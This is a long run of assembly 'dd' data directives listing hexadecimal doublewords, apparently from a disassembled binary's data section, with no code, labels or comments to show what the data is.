		dd 8FC460A0h, 0EFCAE100h, 890F7025h, 8E1E01AAh,	0ADA4667Dh
		dd 0CE2030D4h, 0BB260409h, 0AFD80025h, 143FF4FDh, 9038F929h
		dd 98ED3403h, 0E5F028F7h, 7F0066FCh, 678353D0h,	38A6FBA5h
		dd 88707A2h, 0F0F3816Bh, 0A0D12086h, 2F6DA8A8h,	0B11B3800h
		dd 0B2D2619h, 9D54005Eh, 7F972811h, 98008216h, 4B4F2391h
		dd 0D9B992h, 0AB4280FFh, 0C44A62CCh, 2A1DDD00h,	0FE387393h
		dd 0F459002Dh, 9AE93D3Ah, 360612B0h, 0D3F2ABDCh, 0D2040BB0h
		dd 27823F38h, 30494F4Bh, 0E40321B5h, 0D60E4D5Dh, 0FC613F31h
		dd 20104494h, 0F301FF79h, 0CC8AD45Ch, 7814E948h, 4627448h
		dd 7FFE9866h, 1BEBAF80h, 2FC50014h, 4D55A0DFh, 38A02CEFh
		dd 8A00A5B0h, 7B72A139h, 3282DAh, 1B57AD8Eh, 8147AE24h
		dd 535050C7h, 13409A80h, 0D9C70026h, 3A328E42h,	2D54A08Dh
		dd 3B836D60h, 0C8E0D612h, 3268FD42h, 2B0E38B2h,	8333DB7Bh
		dd 45A1D2h, 0E9A413C8h,	0B9321765h, 3D0E3600h, 0A36CD0ADh
		dd 261101E8h, 2BD27035h, 0C9F5E40Fh, 0B05C1600h, 0D8D9907Eh
		dd 70B8DBh, 5352EA96h, 0D3337A42h, 0C8D6E200h, 61A9646Dh
		dd 73A6003Bh, 0FB88D1EAh, 0B10357CFh, 556781D9h, 20980015h
		dd 0BB5E1A8Ch, 0E700AAB5h, 69A83DCDh, 0C05113DEh, 8BFB2AE1h
		dd 0BA03C995h, 0A5E7847Bh, 48A9FA79h, 0F21396D4h, 0CB8D000Dh
		dd 0EF7A5AE5h, 0FC0D8C5Ch, 6828B889h, 0B75330h,	1E54AF7Ch
		dd 0BE31B210h, 0E2830F07h, 90E0D671h, 3123D939h, 14303BAAh
		dd 29EBCBCDh, 0B74989D8h, 0D518120Ch, 6F135136h, 2343A14Ah
		dd 0D8541684h, 17032B34h, 1B8C15D0h, 0DCCAE8A4h, 0D9830E37h
		dd 2F892E3Ch, 4F33A021h, 0B487C448h, 59073A73h,	31E52A85h
		dd 75EB5C0h, 0F751C36Fh, 71074E13h, 0C40DD53Bh,	6C795730h
		dd 0CA2C03D6h, 0DA0B98CFh, 0EE187EB8h, 44547C50h, 0FC9EC88h
		dd 41A126FDh, 51A05AE0h, 0D060CB2Bh, 91F0C64Ch,	0CA2209ECh
		dd 0B68015F7h, 0A908B856h, 52CD513Bh, 5E200C8h,	0A763451Fh
		dd 1ABE00B3h, 0B0F6DDD8h, 340ABDAFh, 0F0276721h, 0BA245B83h
		dd 4991A82Fh, 4EE73C8h,	1D4AC3ADh, 40504358h, 2C04F0D3h
		dd 0BEE0374h, 202E87E3h, 8081DD8Ah, 800A5C1Eh, 3FC9C2D1h
		dd 82D37Bh, 0C36DBA11h,	65B4C40Eh, 3A1CAE00h, 108FAD45h
		dd 1261C05Fh, 0B7F71B2Ah, 0DA430B07h, 3113A160h, 1CEED0ACh
		dd 125A0E6Bh, 71381A3Bh, 8503F2DCh, 6ECEA3C1h, 0C931D88Fh
		dd 43490073h, 0B0184C30h, 690FE660h, 181B53F2h,	7CF4439h
		dd 3BE27F3h, 8E9BD01Dh,	120097CCh, 6759653Dh, 0E63C8A74h
		dd 0BE640049h, 0D562110h, 950E480Eh, 8082DC12h,	0B74F2946h
		dd 4EF03A1Fh, 20660A12h, 3B0FC42Ch, 7349F300h, 0CA3E4C69h
		dd 0D49700ADh, 0EF036EABh, 6F15D5BBh, 9824B8h, 2269B63Dh
		dd 7E26A420h, 0E006EA8Ah, 19820C78h, 1329295Dh,	1985354h
		dd 75F5BC0Eh, 64894797h, 99C4DA00h, 74E01EA2h, 715E8087h
		dd 4C7C8890h, 0DF92D900h, 0F179BF2Ah, 691E0521h, 80F261AEh
		dd 0C129A3ADh, 0A6826E09h, 0AAAC203Ah, 49566DA5h, 0E000E0BBh
		dd 2D508EAFh, 0B6000713h, 8426CAFDh, 48116Fh, 4FEF596Dh
		dd 61ED362h, 94006C91h,	86A9A591h, 6316002Dh, 0F8BFA864h
		dd 0E500039Eh, 19FF9B89h, 39A977B0h, 1E1E7A69h,	2CAE4054h
		dd 2AB7480Bh, 22EE0C0Eh, 643103A7h, 0A0D89209h,	0A36F61B4h
		dd 0FDC80072h, 1C2D541Fh, 2C0074BEh, 0EF86360Fh, 4CF4A658h
		dd 0A01258DFh, 0A78469Fh, 3301A137h, 204A1E6Bh,	0B4C07441h
		dd 0B0F401ECh, 3EA3A1FEh, 0E802210h, 609C8B5Dh,	4B7EAF48h
		dd 305C7BBFh, 0DC215613h, 3074369Dh, 899C209h, 41A0980Dh
		dd 66E81D16h, 7B9DC0A9h, 0AAD19729h, 70517E11h,	0BE8AE631h
		dd 9DEDE866h, 0DEE54100h, 622F5E74h, 93A607C8h,	20D290FFh
		dd 282C05BEh, 0FB00509Ah, 0ED685AB9h, 0E4D996B1h, 76F0020Fh
		dd 94105B22h, 12BCB084h, 80A7C808h, 0DE0265FBh,	7D007E49h
		dd 84AB18B3h, 1C19D923h, 9C20BAh, 2D9B79EFh, 0E628484Ch
		dd 0FB54C8FAh, 4900AE6Ch, 0DE5BBE26h, 0CF022D7h, 33A5A903h
		dd 2A540721h, 4800EBB4h, 7C78B9E4h, 29605FAEh, 3C867BAh
		dd 8AF1935Eh, 21CA638Bh, 47EFD360h, 0EDA0C609h,	5498003Bh
		dd 75857895h, 0B1BA00E7h, 905A7DF3h, 0DA3834CEh, 88252AB4h
		dd 0EFF98D00h, 0D181ABC2h, 186F024Ch, 24679415h, 0C9B64C80h
		dd 4500A7C3h, 4F0D5A17h, 2CDBBACh, 1854EFC1h, 8080E98Dh
		dd 5EFC041Dh, 2462E9h, 0B43B9E33h, 0F4FF7F5h, 7FAFB122h
		dd 0E9DF9142h, 0A5902261h, 71128C26h, 99A401D1h, 0A9A2621Dh
		dd 0AA76F0AEh, 2F855406h, 0B9871Bh, 86C50992h, 0EA5BAEE7h
		dd 2DEF2C00h, 0A70BB969h, 23DC02B1h, 712661Eh, 68030864h
		dd 324D781Ch, 2EF388C2h, 0A80B0E31h, 0A50098FCh, 5DF4F208h
		dd 1694121Fh, 916FB780h, 3C67959Dh, 0C8094C3Ah,	0DC985B19h
		dd 215F6F87h, 989063C4h, 0F8EFFh, 0E8463B8h, 0AF364891h
		dd 1E479703h, 262EB429h, 1E9013C1h, 3EA13C9h, 1B497D28h
		dd 720BCEF8h, 1C8961C0h, 0C3AB53h, 0E73CCB6Dh, 0CE528AD1h
		dd 0A7301E00h, 0DFAE8510h, 516F26A8h, 0F5710359h, 41001807h
		dd 0DD567521h, 186F26Bh, 0D51F1D9Fh, 0C3929024h, 61831EA8h
		dd 0BF892103h, 126EF19h, 0E3638B39h, 20788288h,	5E0CB7C3h
		dd 20177BADh, 7F687DA5h, 0E7B507ACh, 5AA1056h, 9580401Fh
		dd 41F58B2Ah, 6B2FE2C0h, 9FFCBFh, 543AFCCh, 0C3904FAEh
		dd 2E98E500h, 3ED07DD9h, 8C86542Bh, 0F131006Ah,	0DCEEB7EBh
		dd 0D000D58Ah, 40A4FB63h, 2693E405h, 42BCFD82h,	88E675CDh
		dd 92D66007h, 33C02CD7h, 56856Ch, 7DAA57A5h, 36D0C9C0h
		dd 23F70B0Eh, 0A9821D9Eh, 488D66C6h, 78FCF3Ch, 0E54DFA6Ah
		dd 0D6F9F0EDh, 7B00C424h, 8206E119h, 0FAFAA26h,	0D5BD446Ch
		dd 488C2033h, 0A22EFD91h, 7E00E3B3h, 0A668D9EDh, 78830275h
		dd 21CAFB2Fh, 0F10524C0h
		dd 0D1F9F61Ch, 3EB600F9h, 5BE878ABh, 56DE2C68h,	0B9244058h
		dd 1000F827h, 0EAFBCD80h, 1CC87889h, 836442F0h,	35B87A0Ch
		dd 0C9038100h, 239A994Eh, 83D91C6Eh, 49DC135Eh,	0F08858FCh
		dd 86040D0h, 0A21C7A70h, 6A80BF80h, 0ED445B0Eh,	0DE64543Dh
		dd 0C8E1489Eh, 96F70EC0h, 6300C73Fh, 53A40350h,	0C08267A9h
		dd 0ED25E721h, 8E3FECC6h, 39D600D0h, 19CF6312h,	5BDC0ABEh
		dd 2CE4EFB7h, 0F5D60DCh, 80001F1Bh, 8CDAE87Dh, 1C6022DFh
		dd 8C371667h, 64B11536h, 6339B600h, 0C3878B25h,	9F8E00DAh
		dd 29D6049Ch, 1C922DBEh, 4CB01E04h, 0D48152EAh,	604766FAh
		dd 6B230CE0h, 1A79F0h, 9D44D503h, 0A8EB7B0Eh, 4847994Ah
		dd 9B0EB548h, 25F9D851h, 9D3503E2h, 55931A74h, 498EDBC8h
		dd 0B037290h, 1EC9C38Ch, 7487A021h, 0E6FD2498h,	0D9C00001h
		dd 4B64A088h, 15620C03h, 2099A9h, 618BF791h, 0BE2ED543h
		dd 9C1F7701h, 665DE575h, 342983FDh, 494C1300h, 0B88E92Fh
		dd 5A1DBF00h, 0FA835362h, 0D9A509E7h, 0BC4B2724h, 0E675A190h
		dd 9D8AF1Fh, 0B7210E04h, 3B49488h, 3088EEC4h, 0D9D04E23h
		dd 0B717496Ch, 48000961h, 1AABEDFAh, 0F3AD1324h, 0D5E800A8h
		dd 0EB67E8BDh, 7B900860h, 0DC8AF2h, 0D83D6C5Dh,	5244BBB3h
		dd 91CDFB00h, 59E97B61h, 1B072475h, 10D8804Ch, 9B69D464h
		dd 0B5FCF100h, 49E13968h, 45513CF6h, 0A400E838h, 0B0184BA6h
		dd 680FB11Dh, 725C4881h, 54BC6021h, 246CA5F0h, 80204D56h
		dd 0FDBD9819h, 4A1B020Bh, 0C7F05901h, 4EC14028h, 0AD314449h
		dd 7D0AC117h, 7F439980h, 210C60F2h, 45801491h, 9120BDFFh
		dd 0B5124E9h, 9C202758h, 59EA81DCh, 0A3C30D00h,	0EE701E28h
		dd 0A5E803EBh, 1F306EAFh, 198E1DC0h, 94030B12h,	9B339030h
		dd 4A1000F4h, 22EF7CF3h, 137A7012h, 16B6DC0Fh, 9820D683h
		dd 4CF8A120h, 0EF01D04Ch, 0B830CF28h, 0EAB9801Ah, 9F0A8985h
		dd 918C1F4Dh, 0EEBE4553h, 2C54C813h, 0C15DB100h, 0E85C9807h
		dd 2B540795h, 3BC4CD06h, 740A8410h, 5A004176h, 4FD76181h
		dd 227AA32h, 1A7788FBh,	0C4C00A30h, 6C18D292h, 5A3921B8h
		dd 0DC6100B2h, 5BB451EEh, 681F5E91h, 0FDC11356h, 9E09B0EFh
		dd 83824E5h, 0AE827783h, 5794A4E4h, 6850CF33h, 3222D3F9h
		dd 114034B9h, 8B1246C0h, 44E06C00h, 3634B6Dh, 0E4AE4CC0h
		dd 20362017h, 5C1EB2E4h, 0D0B8D31Ch, 96483740h,	0F91A64Ch
		dd 1998FDADh, 0A59D2CA0h, 81E0ABDEh, 0CA4E39C0h, 72956Ch
		dd 65D8792Eh, 1E2B3F80h, 6D00389Ah, 389D1D49h, 0A066EDC0h
		dd 518A8Eh, 0B11E4EC2h,	0E87E9F56h, 2EFF601h, 0AC954321h
		dd 200E4C2h, 9E2ABE0Dh,	574055D5h, 70024D3h, 0AAE55BDFh
		dd 2C454EEh, 23E0B437h,	8CA70862h, 0DB6FB083h, 2CB1109Fh
		dd 9DFD8780h, 229A862h,	5B85B21Bh, 10E407FAh, 4D887104h
		dd 82FC0Dh, 0B7FD80CAh,	1D045A4h, 0AEC50320h, 20793954h
		dd 0CCA1F6A0h, 64A99219h, 81E04C90h, 0CD4148DFh, 0D6FB0076h
		dd 51AFE7A5h, 825801E4h, 0C780DD34h, 0E146AEFAh, 0C195C25h
		dd 80C89E77h, 58E56D4Ch, 40C1AA4Fh, 0C333B66h, 54362DE0h
		dd 0A018C030h, 0B1124E64h, 9E020078h, 8A94BAD6h, 87FE6300h
		dd 924451DBh, 9B783034h, 77C1C950h, 1B360807h, 68CC5B47h
		dd 65F02654h, 896C18B0h, 0D40EB9BAh, 1F8BD391h,	5F7F007Ah
		dd 302CEE09h, 0B4A0751Eh, 0D0B5011Ch, 2D125E0Ch, 41C004Ch
		dd 512871F5h, 7E7F04D7h, 8E918h, 365C6D2h, 676900EFh, 11E8DB9h
		dd 4E88276h, 251557E2h,	51B01B83h, 0D839A0EBh, 7F004D7Ch
		dd 98EF69E1h, 0E2D84414h, 0E3480E02h, 21F22E57h, 2235DA84h
		dd 0B8611E00h, 0F6FAF800h, 961277AAh, 8B3E8080h, 9F6DBD85h
		dd 4E9E5Ch, 0CEC6AD7Bh,	711D5040h, 0AA2703A2h, 66D0F616h
		dd 0E1B95AF9h, 0C07EFC5Eh, 5B4A9009h, 34C0E812h, 0ABF900D5h
		dd 0FD753E08h, 0F20EF720h, 0C26A72EBh, 400347E4h, 37D45FB2h
		dd 0B0A12535h, 61690B97h, 9F7A1400h, 8B40F55Eh,	4BA07D1h
		dd 0B1C160h, 130827A5h,	0A66AEE16h, 4482C15h, 19E7FB6Ch
		dd 58AF3CF0h, 30580AAEh, 0C900C12h, 0DF281DE0h,	601FAB78h
		dd 48FFB392h, 0C74CC190h, 7730836Bh, 8EEE45h, 4BEF65AEh
		dd 9520D5B2h, 32780B1h,	0A398ABF8h, 2201A113h, 1979D450h
		dd 89D50052h, 0FD38ED48h, 0A9242CA5h, 0A42C64F6h, 21266811h
		dd 813C6564h, 842EB41Eh, 0E8199411h, 0A41C1488h, 0F76C7AACh
		dd 8BE670h, 73989D67h, 0D5D11CDCh, 0BF07181Fh, 0A98800E5h
		dd 72AA157h, 0A6EF37FDh, 0B5426069h, 0B62CEE12h, 460C4C0h
		dd 1334447h, 6256358Ah,	0D08E49FEh, 0C8025E9Ah,	0CE68CBB3h
		dd 1F54E09Ch, 326ECE0h,	971D79BEh, 0B8103476h, 0A9152EA0h
		dd 0E0508407h, 20464FB7h, 583E0CCh, 9B499201h, 0CA45C1A9h
		dd 348FED0h, 56D66195h,	0E9004C57h, 0E6FFC1B2h,	3C3D3CA6h
		dd 0BE82C988h, 9E678F21h, 3E433468h, 16730D00h,	57067CE1h
		dd 0F1F90ECBh, 82A0997Ah, 0A478B652h, 0C855A924h, 0EEBF7F40h
		dd 0E9DD0071h, 181A1C20h, 0CD002DB8h, 5C2EA66Fh, 5546A68h
		dd 93A4953Ch, 131380E7h, 0ECB9A344h, 3A5BEF00h,	3CD4C2FEh
		dd 2A2D1E2Fh, 0B00878B8h, 85636701h, 33D95B19h,	5D03F02Dh
		dd 261B181Eh, 94EE00C4h, 12C4616h, 2738D070h, 7073FC19h
		dd 1CE04360h, 5C74A8A8h, 0C700BBECh, 57AE33E5h,	0E29EEEh
		dd 0C81DD5F7h, 51953B87h, 2D042898h, 2662B1DDh,	6DA97880h
		dd 29C70725h, 8E569E0Eh, 212A72C3h, 0D519C6B0h,	0D950ED50h
		dd 5AE0A4F2h, 13149F16h, 0FEA84090h, 0E4DD0045h, 43D06D80h
		dd 1900C568h, 0CD2C2257h, 0F45456AEh, 0DCAB2AA9h, 11D50094h
		dd 701DAFE3h, 0FA758E0Eh, 904B90B6h, 276A684h, 48D40E6Eh
		dd 6C529844h, 0E5577A02h, 0E13F3AC4h, 0E8FCF010h, 70A17417h
		dd 6731009Eh, 0B7480940h, 69686403h, 2700E779h,	0E8893E0Eh
		dd 87302C68h, 12283246h, 5E00D059h, 6B1AC235h, 319D0381h
		dd 5DB279E9h, 0ECA819A3h, 0F925A36Fh, 4E401098h, 54910006h
		dd 0D1770BE0h, 0CE01B65Fh, 0A51AAA08h, 0A8326221h, 408C2C2Ch
		dd 890D33EAh, 7A5A1F02h, 7DE286B5h, 913B41C0h, 779EB605h
		dd 0FCC1E9CDh, 7023C288h, 0CF646600h, 9AA743D2h, 0FE10B712h
		dd 0EC908600h, 0B1F5B1Ch, 0A1190EEEh, 0DB64010h, 2D268898h
		dd 4937625Ch, 21544859h, 0A9BB0F68h, 0AE806773h, 7B084C3h
		dd 6DEDB41Dh, 902DE489h, 0F4139D64h, 0DCE870h, 0EAE9535Bh
		dd 6BA1C75Ah, 28297500h, 0B0F3BBC4h, 61706E06h,	0DD55C0DCh
		dd 21096A04h, 8970A64Ch, 0A84C8484h, 0A994CCh, 0B63E963Fh
		dd 19FF4473h, 0C9E2E930h, 0F7E8B4h, 0A6081DEFh,	7FD9C913h
		dd 0FA004098h, 87C6158Ch, 13A2E358h, 0C8D169E7h, 7BE4E0B8h
		dd 0EE091AF4h, 531B45h,	0CBDE2288h, 7E4A40Bh, 25695E77h
		dd 4DE08F51h, 97450F03h, 1E01D52h, 83D5E24h, 0E8CCC020h
		dd 87EE049Fh, 0C02F2A95h, 0CE430229h, 812C564Ch, 0B7555D42h
		dd 0EFF03CE9h, 0EE08005Ah, 50AEE004h, 0C40FBE48h, 0C36C89CAh
		dd 0F0C85620h, 889CABh,	940A5B74h, 0B434A317h, 21BA4000h
		dd 2B59DEE3h, 0D75E2CD9h, 0C07080B4h, 1DF2A9EFh, 0CE780184h
		dd 1E0E13FDh, 0F4A1605Ch, 9FB51F00h, 38EB126Bh,	13A00033h
		dd 915BFCB2h, 373F100Dh, 4C4E83FDh, 0A8C4D9CDh,	14AFEA3Fh
		dd 0D476F5C6h
		dd 36272B04h, 136409D2h, 5FCCF848h, 0BF85008Fh,	950D06A5h
		dd 5007A79Ch, 76819771h, 0D17AADF2h, 8C560518h,	0BBADC41Dh
		dd 0D0E5DDC0h, 6E721EBEh, 5EF40EBh, 3AFF038Ah, 8077CC00h
		dd 6DAFAEC0h, 4ED70A7h,	79B813EFh, 38308807h, 0E20C907h
		dd 902BBF66h, 569FCD0h,	0B6C77792h, 9450C01Eh, 4807AA31h
		dd 49505A6Dh, 4C357250h, 96163895h, 58FB8887h, 0BDB74094h
		dd 0CC312E83h, 0A11EF150h, 1C270C7Dh, 1D811020h, 6900286Bh
		dd 4AC06658h, 95F44BBh,	0EC521871h, 0FE610049h,	0AF229890h
		dd 1289F000h, 42FBAB9Dh, 0DAB6011Ch, 0A5B473B7h, 85BD2101h
		dd 522769E8h, 22A3A482h, 4E20152Ch, 4C3989C7h, 19007A3Dh
		dd 0A9BD730Ch, 88008545h, 27133712h, 0BE0810h, 30C7B533h
		dd 0D526F7DBh, 2A362C18h, 360E9D9h, 5BE8818Dh, 908F0BD7h
		dd 0AFAB3F5Fh, 0EEC10F0Bh, 8C4004Fh, 0FEF86368h, 93D02E30h
		dd 0B10B00A8h, 0E40456AFh, 225C0F5Ch, 469E92Ch,	575C1Fh
		dd 938C70A2h, 5A79F799h, 2472DA13h, 0ABD5790Eh,	0A7C88ED0h
		dd 31407923h, 72AC37F5h, 0D41A00A9h, 9FC5C268h,	123F8AF0h
		dd 0FA2D042Eh, 0F880E85Ah, 0B859B390h, 48660EECh, 0D0520B07h
		dd 0A849C624h, 0B2417A00h, 83B079F5h, 6851127Ch, 1D6809DDh
		dd 8680BCC8h, 8D6D8528h, 155A5900h, 4B79D8DFh, 88B961h
		dd 52B30BA2h, 1400D43Ah, 5FCF92ACh, 13CEAEFDh, 0B8385116h
		dd 644800D0h, 8A4B1940h, 0B3C9001Dh, 57BC32BBh,	0DCB11AD8h
		dd 3D44CD00h, 0B36D7CFh, 0EF19B363h, 1294B810h,	92B85378h
		dd 0E790D080h, 0D9AF3Ah, 0B5B00ECDh, 37C0627h, 0DFAE9E2Fh
		dd 0C0BCBE23h, 0A47661Ch, 6B803454h, 6F513600h,	0A31D0250h
		dd 95E67372h, 0F1387010h, 0F4150100h, 82596FCCh, 0D6DB04C4h
		dd 0A40B6989h, 9F3E60A0h, 958D93D2h, 4C31B089h,	24ED152Fh
		dd 0BF015400h, 5A2ADDB5h, 0DE69A90Eh, 47807F6Eh, 0A019B688h
		dd 1379C903h, 8C00305Ah, 0CE500D31h, 0E5EFF37h,	0C1A0AAD6h
		dd 0C4E8C05Fh, 1246A830h, 37FD83Eh, 781F1834h, 0D5D1C032h
		dd 0A4423FF6h, 7588884Ah, 0B3127200h, 831AF8ECh, 45A54E5Eh
		dd 0B4882140h, 0AB09EB0Ch, 17F51B2h, 801B1D3Ch,	7376C980h
		dd 55BBE469h, 0AA14DCECh, 305466h, 918685CEh, 0C76EFDh
		dd 3CDEB19Dh, 5C446888h, 80FB012Fh, 4C9180D0h, 608905A8h
		dd 80595E6Ch, 36BA4938h, 13E63898h, 0D290F009h,	88490888h
		dd 0C86F2141h, 1FA20h, 491D69D1h, 4A06A845h, 0B40B1078h
		dd 0A81CED48h, 0FDC0C0E0h, 5C7A4BEFh, 363C6816h, 0F843D504h
		dd 3178C0C3h, 0C10262C7h, 268B8F87h, 547A1Bh, 4DDF9467h
		dd 3FF75C51h, 27495E00h, 55EE2089h, 83D40FFAh, 31582C7Fh
		dd 510E3129h, 0A025EA40h, 809712CDh, 7589AC5h, 2E3D1178h
		dd 8C4E45D9h, 0AD00B89Ch, 8F4ECDAh, 18E79F1h, 7FC1F819h
		dd 4764E58Fh, 9E1F73B1h, 71614800h, 0D96E5B1Bh,	0C27413ACh
		dd 36B4C18Dh, 9AA02423h, 3DA5E600h, 184D404Eh, 0A8B918D9h
		dd 6D4B40E2h, 2E072013h, 6C8C0421h, 0E6F6E0h, 0B7356281h
		dd 21A73258h, 0D1E4C504h, 0E1808B98h, 9DA8ECh, 0EEDBCEF4h
		dd 0E7C7AD90h, 11614D00h, 77F84BF7h, 91963881h,	501ABA01h
		dd 8014518Ch, 9487F039h, 0ABFB9Eh, 0A342F802h, 0F624DCD6h
		dd 0F2485303h, 0BB30C5DDh, 2B3001FFh, 0AA078BE4h, 5D22FCD7h
		dd 6B447B00h, 0E819594Ah, 6A58C02Ah, 0BFF031DEh, 0DC789600h
		dd 0C5369C1Dh, 0FFCC0A0Bh, 1EC7A47Eh, 0EC2BC09Eh, 8DCB45E8h
		dd 87AB8200h, 7F442C51h, 78A00B7h, 0CD010B38h, 8CFF61A7h
		dd 39215980h, 0C71B00A8h, 38F0D242h, 523311C1h,	0F0C8D90Fh
		dd 128C68h, 3DA48115h, 515B3F29h, 930A85E8h, 409801C8h
		dd 0A31E1F00h, 0D68E3Ch, 158A0A6Ch, 0A613415Ch,	0FE1413B8h
		dd 7580360h, 0E9BD51E1h, 31802A36h, 52919D85h, 5C818010h
		dd 0F560D4C5h, 61AD7C70h, 0AEB71913h, 0CC16FDA7h, 120053C0h
		dd 8F8C6A06h, 608BB23h,	0B7F4054Bh, 0CF2314Ah, 0D800A271h
		dd 4C674EC1h, 0F72C56h,	0B4815F77h, 0B09A769Ch,	72EF8420h
		dd 82740039h, 6A7ED06Dh, 8E50C542h, 0F80092D8h,	457B5E8Dh
		dd 7568ECh, 0F035308Ah,	0F4D4BF9Bh, 0E8212628h,	31070C00h
		dd 8841DFB5h, 367A0023h, 57EA42CAh, 0B9E89BA2h,	0F6F80650h
		dd 0E70BF9C3h, 4652D9B2h, 5B10B980h, 75C740B1h,	4170F5F4h
		dd 82042000h, 4535E16Fh, 0A89D55B5h, 1C44C2h, 6640D11Ah
		dd 0ED7B5C4Fh, 1940839h, 0DDABA27Ah, 20E8CB4Dh,	0AF910AD4h
		dd 6FF8CCE1h, 0C4978540h, 7303F960h, 0A178FE6Ah, 9A9FC82Dh
		dd 304471B7h, 0BFB19B2Fh, 1A3559D7h, 70047924h,	5607AB3Ch
		dd 7D4D40EAh, 27615FE3h, 0F280B020h, 7D567D0h, 7E2D26D9h
		dd 28551091h, 11009F66h, 14752A50h, 28B5CFFh, 91FCCD6Ah
		dd 0D440C3EBh, 254CC07h, 0AA004728h, 0A580A24Fh, 863D4Dh
		dd 0B1FBFE97h, 5A555D0Fh, 91624630h, 300972ECh,	0EF114F32h
		dd 0CF00C3D8h, 0BFC594B6h, 93B167Ch, 0D4AD3815h, 82261003h
		dd 55A1B3C9h, 20000B0h,	0A8A2DF8Fh, 424F0101h, 25E436C0h
		dd 370F8050h, 3A8C01F9h, 6A9A5727h, 61282482h, 0B7DBC913h
		dd 0FC6B3420h, 0E2850AD9h, 0CA6C66h, 0B8FB0292h, 0A4078958h
		dd 0EFEA59FEh, 3EB14A26h, 0B1008428h, 881CF44Dh, 69549A40h
		dd 46289D84h, 0E551747Fh, 7CB5E448h, 0B696D702h, 13B29A63h
		dd 18DF19E8h, 0A001C918h, 0CA2E1h, 0B8EAF705h, 974D9ABh
		dd 5698CA06h, 691144h, 0CED0A055h, 0E6B168EAh, 78AF7900h
		dd 0B0702E28h, 0B8EC001Eh, 1438E10Eh, 3483073h,	8B728008h
		dd 759BC70Ah, 66DD092Ch, 0E810B693h, 5907A7DBh,	0E4315B0Fh
		dd 0C8C12Ch, 3681CFB9h,	0DBBBEBAEh, 2C0DBD00h, 1A0A9BAAh
		dd 302F3035h, 0DD114F61h, 4485FA00h, 0D64E5D39h, 77778F2h
		dd 1AE5C284h, 83FB7117h, 0C2B6E9ECh, 96009C44h,	1E550759h
		dd 0F7430AEh, 42B605A1h, 0E581E980h, 3C03B38Fh,	2F38A804h
		dd 5F713848h, 0EF06A487h, 4D97E044h, 0F9074F6Ch, 0A5BF1F65h
		dd 0C8400505h, 9BCED662h, 0B22D00AFh, 352E5F3Fh, 500085F4h
		dd 0E283A73Ch, 0D426593Eh, 3500A491h, 0AE69EABFh, 0B026823h
		dd 0C51DB8AAh, 1C904027h, 2C6F00E6h, 44329152h,	7B0561F5h
		dd 7F9DCE4h, 0CBE66C00h, 0FE7D448h, 2FC8E6Eh, 1166A5E7h
		dd 0C75599B4h, 7830DBA0h, 0F6382400h, 0B5483C59h, 39B72AA9h
		dd 0E79B0CCh, 22379992h, 9A2FB240h, 0AF090523h,	75B093CEh
		dd 810BD89h, 51FA0C17h,	4A7CB26h, 3B0EF868h, 9296C01Dh
		dd 16AF0AC9h, 4AA5CF8h,	0CCB5AC93h, 0E33B9878h,	0B08F00E1h
		dd 813B7292h, 534314F3h, 42006C06h, 0B0E3EBB1h,	9398C08h
		dd 232E8528h, 0D3C0D357h, 0C0374550h, 0B5CA1C51h, 0BF0043B8h
		dd 0BB21C41Dh, 31FEE34h, 453C6D72h, 59189C6Ch, 0D3C99EE5h
		dd 6DB8008Bh, 38DD9BB7h, 4307FE33h, 1A5FBF9h, 7F1531ACh
		dd 63BF3F7Dh, 52D0B401h, 0C09DF2E3h, 5912FBDFh,	6442E985h
		dd 0A05B3214h, 7E4D4288h, 445900E5h, 0D6438572h, 967F7A71h
		dd 2612D15Ch, 3D40A8E3h, 28B2A1F6h, 889E45h, 11C83F65h
		dd 0CB5EFB14h, 24C46438h, 0C58034A9h, 97B9365Bh, 6F600DDh
		dd 0C4AE7D62h, 0B0A4B71Eh, 3BBEC900h, 266321F0h, 0E67400DBh
		dd 0CF94966Ch, 4C90CD0Eh, 13505B48h, 0B80B90FAh, 158003D6h
		dd 0C5CDEB7Fh, 0B08C20C8h
		dd 0D3FA079Ch, 0ACA0A88h, 0C63F408Ch, 0A0008011h, 0D9A6623Ah
		dd 0F4FFB333h, 9D84008Eh, 77E96A81h, 89289B52h,	85001CD5h
		dd 797BD962h, 0CF6CA4h,	45D06591h, 0F5BBCC66h, 9F303607h
		dd 0BD45A338h, 448464CCh, 0C7033D9Bh, 33C30E79h, 0A42085E6h
		dd 0E07FCAh, 0DE965D16h, 59CD1808h, 80BC2C58h, 0B1497143h
		dd 0A05C3ECAh, 0CB215B01h, 4CC7D644h, 0AA38E2B0h, 5A358093h
		dd 6A78409Ch, 7F03A96h,	0D5414703h, 161F9285h, 9C28CC0Ah
		dd 97939F8h, 9352E802h,	0E8042369h, 3DD1B8FCh, 0FC805445h
		dd 7396C8A1h, 0DB363AEDh, 54071B0h, 30BA8021h, 277848C5h
		dd 0EA35AD40h, 6031C0A4h, 0A088962Eh, 445C5901h, 16139199h
		dd 1529DC70h, 883E303Ch, 40495212h, 2C466708h, 87007E57h
		dd 0DF3AF350h, 5886E609h, 120313C9h, 8F309159h,	2B1230D6h
		dd 6808737Ch, 0FB538051h, 8B4E58Eh, 27EDCD00h, 0C822A393h
		dd 0C209043h, 28B29BD0h, 58A83471h, 0A6006480h,	0E840E067h
		dd 0F0709Fh, 8FD4DABBh,	512ACDC7h, 0E0394C6Fh, 86295A37h
		dd 84B2017Fh, 52F08382h, 0F5218012h, 0D928983Fh, 445D266Eh
		dd 0EB5F005Ch, 4749F150h, 72D0EF01h, 0A7E04814h, 0A39B818Bh
		dd 0B5466C10h, 4C38D1DFh, 0AA0F8004h, 7F247C4Bh, 0A136049Fh
		dd 0C17F2520h, 82890CD0h, 0D9E4A7E0h, 0C1C8002Ah, 0F11E69B0h
		dd 90C13BD6h, 953148C9h, 5950E347h, 949235h, 88F1BFFAh
		dd 31E3AA09h, 713C5876h, 81A5A685h, 8F51DA18h, 0BF740779h
		dd 4F87DFADh, 838B67A0h, 0D9021BBAh, 0D743A216h, 17444E5h
		dd 4178DCB7h, 0C83DB5C3h, 3585CC9h, 7DF180F0h, 17BC3AD3h
		dd 1776B86Ch, 2785320h,	1A51DC20h, 3BF93CE0h, 8D9C926h
		dd 98E3190Eh, 0B06161h,	8F65820Bh, 6B2ED2FEh, 0C55CE800h
		dd 0F68B8AD3h, 0A4C8523Bh, 0A8A18D00h, 0BBFBB31Ah, 0C0949B5Ch
		dd 0F51D9958h, 74FA0724h, 3502EEF7h, 0AB98CC9Bh, 0FBE1E517h
		dd 81A6B40Fh, 97E340D7h, 9CE4CC50h, 0B49B1619h,	415A0EBCh
		dd 0D5DCDDh, 0AF369A8Dh, 8E09FE7h, 3EACC3Dh, 2F590DA4h
